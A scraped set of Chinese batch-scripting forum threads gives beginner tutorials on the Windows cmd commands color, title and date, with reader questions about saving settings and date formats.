  • 发短消息
  • 加为好友

329692195 当前离线

UID
44081
帖子
4
精华
0
积分
25
PB
25
技术
0
捐助
0
阅读权限
5
在线时间
1 小时
注册时间
2011-12-14
最后登录
2012-1-8

列兵

帖子
4
积分
25
技术
0
捐助
0
注册时间
2011-12-14
4楼
发表于 2011-12-14 20:00 | 只看该作者
回复 3# Hello123World

我估计他是想说“清屏”这个功能比较通用 如GNU/linux下的clear
回复 引用

评分 报告 TOP

guanger
  • 发短消息
  • 加为好友

guanger 当前离线

UID
50774
帖子
24
精华
0
积分
25
PB
25
技术
0
捐助
0
阅读权限
5
在线时间
6 小时
注册时间
2012-8-9
最后登录
2013-4-3

列兵

帖子
24
积分
25
技术
0
捐助
0
注册时间
2012-8-9
5楼
发表于 2012-8-13 20:44 | 只看该作者
恩，，看似简单，但也有深度啊
行公义，好怜悯，存谦卑的心...
回复 引用

评分 报告 TOP

家鹏
  • 发短消息
  • 加为好友

家鹏 当前离线

UID
57874
帖子
5
精华
0
积分
16
PB
16
技术
0
捐助
0
阅读权限
5
在线时间
6 小时
注册时间
2013-3-6
最后登录
2013-6-7

列兵

帖子
5
积分
16
技术
0
捐助
0
注册时间
2013-3-6
6楼
发表于 2013-3-7 22:52 | 只看该作者
回复 3# Hello123World

matlab清屏也是cls啊
回复 引用

评分 报告 TOP

bigfoot_fv
  • 发短消息
  • 加为好友

bigfoot_fv 当前离线

UID
54202
帖子
18
精华
0
积分
22
PB
22
技术
0
捐助
0
阅读权限
5
在线时间
12 小时
注册时间
2012-11-21
最后登录
2013-4-9

列兵

帖子
18
积分
22
技术
0
捐助
0
注册时间
2012-11-21
7楼
发表于 2013-3-7 23:12 | 只看该作者
请解释一下 第五行Ping 127.1 >nul 是什吗意思呢？谢谢
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
8楼
发表于 2013-3-8 21:12 | 只看该作者
回复 7# bigfoot_fv

你试试看就知道了！~
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

bigfoot_fv
  • 发短消息
  • 加为好友

bigfoot_fv 当前离线

UID
54202
帖子
18
精华
0
积分
22
PB
22
技术
0
捐助
0
阅读权限
5
在线时间
12 小时
注册时间
2012-11-21
最后登录
2013-4-9

列兵

帖子
18
积分
22
技术
0
捐助
0
注册时间
2012-11-21
9楼
发表于 2013-3-9 19:07 | 只看该作者
回复 8# cjiabing

暂停几秒？？？
如果梦的那边有美丽的期待，化作孤独青鸟飞过蔚蓝。
回复 引用

评分 报告 TOP

shelluserwlb
  • 发短消息
  • 加为好友

shelluserwlb 当前离线

UID
42319
帖子
84
精华
0
积分
109
PB
103
技术
2
捐助
0
阅读权限
20
在线时间
53 小时
注册时间
2011-10-5
最后登录
2017-1-9

一级士官

帖子
84
积分
109
技术
2
捐助
0
注册时间
2011-10-5
10楼
发表于 2014-11-2 20:23 | 只看该作者
回复 7# bigfoot_fv
延迟
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:10, Processed in 0.123036 second(s), 8 queries, Gzip enabled.


23、更换CMD窗口的颜色：color

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学 续]（23）更换CMD窗口的颜色：color
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-9-7 12:51 | 只看该作者

[原创] [批处理命令一日一教学 续]（23）更换CMD窗口的颜色：color

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 设置默认的控制台前景和背景颜色。

  2.

  3. COLOR [attr]

  4.

  5.   attr        指定控制台输出的颜色属性

  6.

  7. 颜色属性由两个十六进制数字指定 -- 第一个为背景，第二个则为

  8. 前景。每个数字可以为以下任何值之一:

  9.

  10.     0 = 黑色       8 = 灰色

  11.     1 = 蓝色       9 = 淡蓝色

  12.     2 = 绿色       A = 淡绿色

  13.     3 = 浅绿色     B = 淡浅绿色

  14.     4 = 红色       C = 淡红色

  15.     5 = 紫色       D = 淡紫色

  16.     6 = 黄色       E = 淡黄色

  17.     7 = 白色       F = 亮白色

  18.

  19. 如果没有给定任何参数，该命令会将颜色还原到 CMD.EXE 启动时

  20. 的颜色。这个值来自当前控制台窗口、/T 命令行开关或

  21. DefaultColor 注册表值。

  22.

  23. 如果用相同的前景和背景颜色来执行 COLOR 命令，COLOR 命令

  24. 会将 ERRORLEVEL 设置为 1。

  25.

  26. 例如: "COLOR fc" 在亮白色上产生亮红色
复制代码
命令概括：
color，全英文color，意为：颜色，肤色、脸色；这里取第一个意思就可以了。
attr，全英文attribute，意为：属性。
合称就是颜色属性。

参数详解：
  1. 颜色属性由两个十六进制数字指定 -- 第一个为背景，第二个则为

  2. 前景。
复制代码
这么长的话，其实有个很好记的口诀“先背后前”。
例如：
  1. color 02
复制代码
效果：
下载 (25.89 KB)
2011-9-7 12:44
  1. 0 = 黑色       8 = 灰色

  2. 1 = 蓝色       9 = 淡蓝色

  3. 2 = 绿色       A = 淡绿色

  4. 3 = 浅绿色     B = 淡浅绿色

  5. 4 = 红色       C = 淡红色

  6. 5 = 紫色       D = 淡紫色

  7. 6 = 黄色       E = 淡黄色

  8. 7 = 白色       F = 亮白色
复制代码
rgb，红=4，绿=2，蓝=1；我就记着这三个颜色……
  1. 如果没有给定任何参数，该命令会将颜色还原到 CMD.EXE 启动时

  2. 的颜色。
复制代码
这一句是啥意思？
就是输入不带参数的color会还原到默认的颜色（黑白）。

例如：
  1. color
复制代码
效果：
下载 (27.14 KB)
2011-9-7 12:45

扩展阅读：
1.当attr只有一个数值时，该数值控制前景色（文字颜色），且设置背景色为默认值（黑色）。
例如：
  1. color 2
复制代码
效果：
下载 (36.42 KB)
2011-9-7 12:50

2.当attr的两个数值相同时，不改变颜色，只改变errorlevel值。
例如：
  1. color 22
复制代码
1

评分人数

    • Batcher: 感谢分享技术 + 1
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

dennis1314
  • 发短消息
  • 加为好友

dennis1314 当前离线

UID
34426
帖子
12
精华
0
积分
15
PB
15
技术
0
捐助
0
阅读权限
5
在线时间
9 小时
注册时间
2011-2-14
最后登录
2011-9-7

列兵

帖子
12
积分
15
技术
0
捐助
0
注册时间
2011-2-14
2楼
发表于 2011-9-7 14:17 | 只看该作者
:) 我最喜欢的就是color f0
回复 引用

评分 报告 TOP

xslxslxsl
  • 发短消息
  • 加为好友

xslxslxsl 当前离线

UID
36358
帖子
219
精华
0
积分
278
PB
263
技术
5
捐助
0
阅读权限
20
在线时间
95 小时
注册时间
2011-4-13
最后登录
2017-10-30

四级士官

帖子
219
积分
278
技术
5
捐助
0
注册时间
2011-4-13
3楼
发表于 2011-9-7 14:27 | 只看该作者
虽然是简单的COLOR，但是学问也很丰富哦，可以美化。
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
4楼
发表于 2011-9-7 18:32 | 只看该作者
截图有一部分就行了，没有必要是完整窗口吧。
还有，压缩一下图片：
http://bbs.bathome.net/thread-4673-1-1.html
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
5楼
发表于 2011-9-7 21:15 | 只看该作者
回复 4# Batcher

哦，好的，会压缩的。
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
6楼
发表于 2011-9-7 23:22 | 只看该作者
有必要的话对图片进行清理。
能用文字表达清楚的就不必发图，没有什么意义的不能发图。
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

losefar
  • 发短消息
  • 加为好友

losefar 当前离线

UID
49764
帖子
3
精华
0
积分
24
PB
24
技术
0
捐助
0
阅读权限
5
在线时间
2 小时
注册时间
2012-7-8
最后登录
2012-7-10

列兵

帖子
3
积分
24
技术
0
捐助
0
注册时间
2012-7-8
7楼
发表于 2012-7-8 12:08 | 只看该作者
验证码太多，后面不回了
回复 引用

评分 报告 TOP

tianyn
  • 发短消息
  • 加为好友

tianyn 当前离线

UID
50163
帖子
2
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
1 小时
注册时间
2012-7-21
最后登录
2012-7-21

列兵

帖子
2
积分
13
技术
0
捐助
0
注册时间
2012-7-21
8楼
发表于 2012-7-21 17:34 | 只看该作者
这个不能保存吗？为什么我新打开的CMD对话窗口又是原始的了，我在注册表DefaultColor里改了也不行，要怎么保存？
回复 引用

评分 报告 TOP

tianyn
  • 发短消息
  • 加为好友

tianyn 当前离线

UID
50163
帖子
2
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
1 小时
注册时间
2012-7-21
最后登录
2012-7-21

列兵

帖子
2
积分
13
技术
0
捐助
0
注册时间
2012-7-21
9楼
发表于 2012-7-21 17:40 | 只看该作者
不好意思，好像是电脑卡了，老是停在回帖的页面，我不是有意刷这么多的，呃。
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
10楼
发表于 2012-7-27 09:26 | 只看该作者
回复 9# tianyn

开始——运行——在 cmd 窗口标题栏（最顶端蓝色的一栏）上点右键 ——属性——颜色
改成你喜欢的颜色即可，要注意的是改了之后要记住默认设置，否则想恢复回来就难搞了。
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

liu15893756
  • 发短消息
  • 加为好友

liu15893756 当前离线

UID
1968
帖子
1
精华
0
积分
169
PB
169
技术
0
捐助
0
阅读权限
20
来自
中华人民共和国
在线时间
1 小时
注册时间
2008-4-16
最后登录
2015-9-18

二级士官

帖子
1
积分
169
技术
0
捐助
0
注册时间
2008-4-16
11楼
发表于 2015-9-18 15:42 | 只看该作者
刚开始学习，收藏了
回复 引用

评分 报告 TOP

无忧
  • 发短消息
  • 加为好友

无忧 当前离线

UID
79978
帖子
34
精华
0
积分
54
PB
54
技术
0
捐助
0
阅读权限
10
在线时间
14 小时
注册时间
2017-5-13
最后登录
2017-6-4

上等兵

帖子
34
积分
54
技术
0
捐助
0
注册时间
2017-5-13
12楼
发表于 2017-5-13 11:42 | 只看该作者
版主，设置完怎么保存更改？
关掉窗口就没了
回复 引用

评分 报告 TOP

老刘1号
  • 发短消息
  • 加为好友

老刘1号 当前离线

UID
75268
帖子
596
精华
0
积分
905
PB
551
技术
118
捐助
0
阅读权限
40
在线时间
568 小时
注册时间
2016-4-17
最后登录
2018-5-31

中尉

帖子
596
积分
905
技术
118
捐助
0
注册时间
2016-4-17
13楼
发表于 2017-5-13 17:27 | 只看该作者
回复 12# 无忧

注册表。。。或者窗口右上角——属性里面设置
老刘的小站： http://lbcpc.3vcm.net
回复 引用

评分 报告 TOP

无忧
  • 发短消息
  • 加为好友

无忧 当前离线

UID
79978
帖子
34
精华
0
积分
54
PB
54
技术
0
捐助
0
阅读权限
10
在线时间
14 小时
注册时间
2017-5-13
最后登录
2017-6-4

上等兵

帖子
34
积分
54
技术
0
捐助
0
注册时间
2017-5-13
14楼
发表于 2017-5-15 15:27 | 只看该作者
回复 13# 老刘1号

属性设置也不能长久保存啊
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:11, Processed in 0.047559 second(s), 9 queries, Gzip enabled.


24、给CMD窗口换个标题：title

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:
加载中...

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（24）给CMD窗口换个标题：title
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-8-26 16:51 | 只看该作者

[原创] 【续】[一日一教学]（24）给CMD窗口换个标题：title

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 设置命令提示窗口的窗口标题。

  2.

  3. TITLE [string]

  4.

  5.   string       指定命令提示窗口的标题。
复制代码
命令概括：
title，全英文title，意为：标题。
string，全英文string，意为：串；此处可引申为字符串。
加上标题，可以让人对你所写的批处理功能一目了然，一看便知道这个可以用来干啥。

参数详解：
由于命令简单，只要比较一下效果便明白了：
1.不加title
  1. @Echo Off

  2. Set /p a=请输入要显示的字符：

  3. Msg * %a%

  4. Pause>Nul
复制代码
1的效果：
下载 (6.42 KB)
2011-8-26 16:46

2.加上title
  1. @Echo Off

  2. Title 显示输入的字符

  3. Set /p a=请输入要显示的字符：

  4. Msg * %a%

  5. Pause>Nul
复制代码
2的效果：
下载 (5.76 KB)
2011-8-26 16:49
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

xudaweb
  • 发短消息
  • 加为好友

xudaweb 当前离线

UID
40915
帖子
124
精华
0
积分
189
PB
174
技术
5
捐助
0
阅读权限
20
在线时间
126 小时
注册时间
2011-8-22
最后登录
2016-4-22

二级士官

帖子
124
积分
189
技术
5
捐助
0
注册时间
2011-8-22
2楼
发表于 2011-8-26 17:01 | 只看该作者
前几天从安装XP的光盘中，发现一个batch里面有这个title命令，才学会怎么用，呵呵~
改了标题，感觉就是不一样。
学习...
回复 引用

评分 报告 TOP

zaixinxiangnian
  • 发短消息
  • 加为好友

zaixinxiangnian 当前离线

UID
22805
帖子
144
精华
0
积分
153
PB
144
技术
3
捐助
0
阅读权限
20
在线时间
72 小时
注册时间
2010-3-24
最后登录
2014-1-21

二级士官

帖子
144
积分
153
技术
3
捐助
0
注册时间
2010-3-24
3楼
发表于 2011-8-27 16:16 | 只看该作者
继续支持
这个命令确实简单
回复 引用

评分 报告 TOP

无忧
  • 发短消息
  • 加为好友

无忧 当前离线

UID
79978
帖子
34
精华
0
积分
54
PB
54
技术
0
捐助
0
阅读权限
10
在线时间
14 小时
注册时间
2017-5-13
最后登录
2017-6-4

上等兵

帖子
34
积分
54
技术
0
捐助
0
注册时间
2017-5-13
4楼
发表于 2017-5-13 11:38 | 只看该作者
本帖最后由 无忧 于 2017-5-13 11:39 编辑

版主，这个命令直接在cmd中就可以简单使用吧？
比如
这个用批处理交互式运行是不是有点化蛇添足？因为好像一关cmd窗口，下一次开就还原了。
那版主怎么才能让自己设置的title保存更改呢？

ZR`D]8PHY$~TK4JT}@]F65D.png (16.63 KB)

下载次数:0

2017-5-13 11:39

回复 引用

评分 报告 TOP

老刘1号
  • 发短消息
  • 加为好友

老刘1号 当前离线

UID
75268
帖子
596
精华
0
积分
905
PB
551
技术
118
捐助
0
阅读权限
40
在线时间
568 小时
注册时间
2016-4-17
最后登录
2018-5-31

中尉

帖子
596
积分
905
技术
118
捐助
0
注册时间
2016-4-17
5楼
发表于 2017-5-13 17:26 | 只看该作者
回复 4# 无忧

当然可以在CMD中直接使用，问题没有意义啊~
批处理里面使用是为了显示用途或即时显示进度
想修改CMD的标题，请撸注册表
老刘的小站： http://lbcpc.3vcm.net
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:11, Processed in 0.055623 second(s), 8 queries, Gzip enabled.


25、获取系统日期：date

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学 续]（25）获取系统日期：date
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-8-25 16:47 | 只看该作者

[原创] [批处理命令一日一教学 续]（25）获取系统日期：date

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. C:\Users\helloworld>date /?

  2. 显示或设置日期。

  3.

  4. DATE [/T | date]

  5.

  6. 显示当前日期设置和输入新日期的提示，请键入

  7. 不带参数的 DATE。要保留现有日期，请按 Enter。

  8.

  9. 如果命令扩展被启用，DATE 命令会支持 /T 开关；

  10. 该开关指示命令只输出当前日期，但不提示输入新日期。
复制代码
命令概括：
date，全英文date，意为：日期。

如帮助所说，是用来“显示或设置日期”。

参数详解：
设置日期，输入光杆date，再手动输入要修改的日期。
例如：
  1. C:\Users\helloworld>date

  2. 当前日期: 2011/08/25 周四

  3. 输入新日期: (年月日) 2011/08/26
复制代码
再次查看日期，只查看，不修改，加上/t参数。
例如：
  1. C:\Users\helloworld>date /t

  2. 2011/08/26 周五
复制代码
日期由25变为26了。

也可以直接修改。
例如：
  1. C:\Users\helloworld>date 2011/08/27

  2.

  3. C:\Users\helloworld>date /t

  4. 2011/08/27 周六
复制代码
扩展阅读：
date是一个内部命令，同样的还有%date%环境变量。
  1. @Echo Off

  2. Set date=2011/08/25 周四

  3. Echo %date%

  4. date /t

  5. Pause>Nul
复制代码
显示结果：
  1. 2011/08/25 周四

  2. 2011/08/27 周六
复制代码
可以看出环境变量%date%可以被赋值，但是赋值并不会改变date /t的显示。

可以这么说，%date%环境变量只能用来显示当前的日期，但不能改变当前的日期；date命令既可以显示当前日期，又可以改变当前日期。

%date%环境变量来显示当前的日期.
例如：
  1. C:\Users\helloworld>echo %date%

  2. 2011/08/27 周六
复制代码
1

评分人数

    • Batcher: 感谢分享技术 + 1
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

xslxslxsl
  • 发短消息
  • 加为好友

xslxslxsl 当前离线

UID
36358
帖子
219
精华
0
积分
278
PB
263
技术
5
捐助
0
阅读权限
20
在线时间
95 小时
注册时间
2011-4-13
最后登录
2017-10-30

四级士官

帖子
219
积分
278
技术
5
捐助
0
注册时间
2011-4-13
2楼
发表于 2011-8-25 17:07 | 只看该作者
在此学习了，感谢楼主。
回复 引用

评分 报告 TOP

lfoqtal
  • 发短消息
  • 加为好友

lfoqtal 当前离线

UID
40258
帖子
63
精华
0
积分
109
PB
97
技术
4
捐助
0
阅读权限
20
在线时间
15 小时
注册时间
2011-7-29
最后登录
2014-3-18

一级士官

帖子
63
积分
109
技术
4
捐助
0
注册时间
2011-7-29
3楼
发表于 2011-8-26 06:53 | 只看该作者
在教学%date% 时可以介绍下面的一些问题吗？
1）不同系统的显示格式问题
2）如何提取年份、月份或日期的方法
3）日期的计算，如加两天等问题
2

评分人数

    • Hello123World: Thanks for you propose!PB + 6
    • Batcher: 好主意PB + 5
通用简洁实用就是批处理精神
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
4楼
发表于 2011-8-26 16:32 | 只看该作者
回复 3# lfoqtal

1）不同系统的显示格式问题
2）如何提取年份、月份或日期的方法
3）日期的计算，如加两天等问题

1.不同系统的显示格式（- /），我听说是注册表键值的问题，跟系统无关，但是当时没细问那位批友，如果可能，你能帮忙查一下吗？
2.这是你提出的3点扩展知识，我唯一可以做到的，稍后会更新。
3.这个涉及到算法，暂时还没理出头绪，由于有平润年的2月在……
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

lfoqtal
  • 发短消息
  • 加为好友

lfoqtal 当前离线

UID
40258
帖子
63
精华
0
积分
109
PB
97
技术
4
捐助
0
阅读权限
20
在线时间
15 小时
注册时间
2011-7-29
最后登录
2014-3-18

一级士官

帖子
63
积分
109
技术
4
捐助
0
注册时间
2011-7-29
5楼
发表于 2011-8-27 13:51 | 只看该作者
本帖最后由 lfoqtal 于 2011-8-27 13:54 编辑

回复 4# Hello123World

其实我也不是要你做得很得杂，因为这是入门教学，只是针对常见问题做出解释或提醒
如：
由于不同系统设置不同显示格式有所区别：2011-2-28 和 2011/2/28 等
在输入日期时是不用与系统格式相同的，只要注意基本格式就行，以下输入都是有效的：2011-02-8；2011-2-08；2011/02/08；2011.2.8
而以下格式是错误的：20110208；
通用简洁实用就是批处理精神
回复 引用

评分 报告 TOP

329692195
  • 发短消息
  • 加为好友

329692195 当前离线

UID
44081
帖子
4
精华
0
积分
25
PB
25
技术
0
捐助
0
阅读权限
5
在线时间
1 小时
注册时间
2011-12-14
最后登录
2012-1-8

列兵

帖子
4
积分
25
技术
0
捐助
0
注册时间
2011-12-14
6楼
发表于 2011-12-14 19:52 | 只看该作者
本帖最后由 329692195 于 2011-12-14 19:56 编辑

回复 3# lfoqtal

我正好也有这样的问题
中文版和英文版系统的日期格式是不一样的，那么，有些涉及到日期的处理上会因为操作系统语言的不同而导致批处理运行异常。
有什么好的方法可以解决呢？
回复 引用

评分 报告 TOP

喃喃努努
  • 发短消息
  • 加为好友

喃喃努努 当前离线

UID
48002
帖子
80
精华
0
积分
88
PB
88
技术
0
捐助
0
阅读权限
10
在线时间
85 小时
注册时间
2012-5-18
最后登录
2013-8-23

上等兵

帖子
80
积分
88
技术
0
捐助
0
注册时间
2012-5-18
7楼
发表于 2012-5-25 10:24 | 只看该作者
回复 1# Hello123World

首先感谢楼主了，只是在实际应用中遇到了一些问题，在NT系统中取环境变量%date%，取不到值。echo %date%显示的是%date%，求解释。

下载 (9.52 KB)
2012-5-25 10:23
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:12, Processed in 0.052833 second(s), 9 queries, Gzip enabled.


26、获取系统时间：time

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
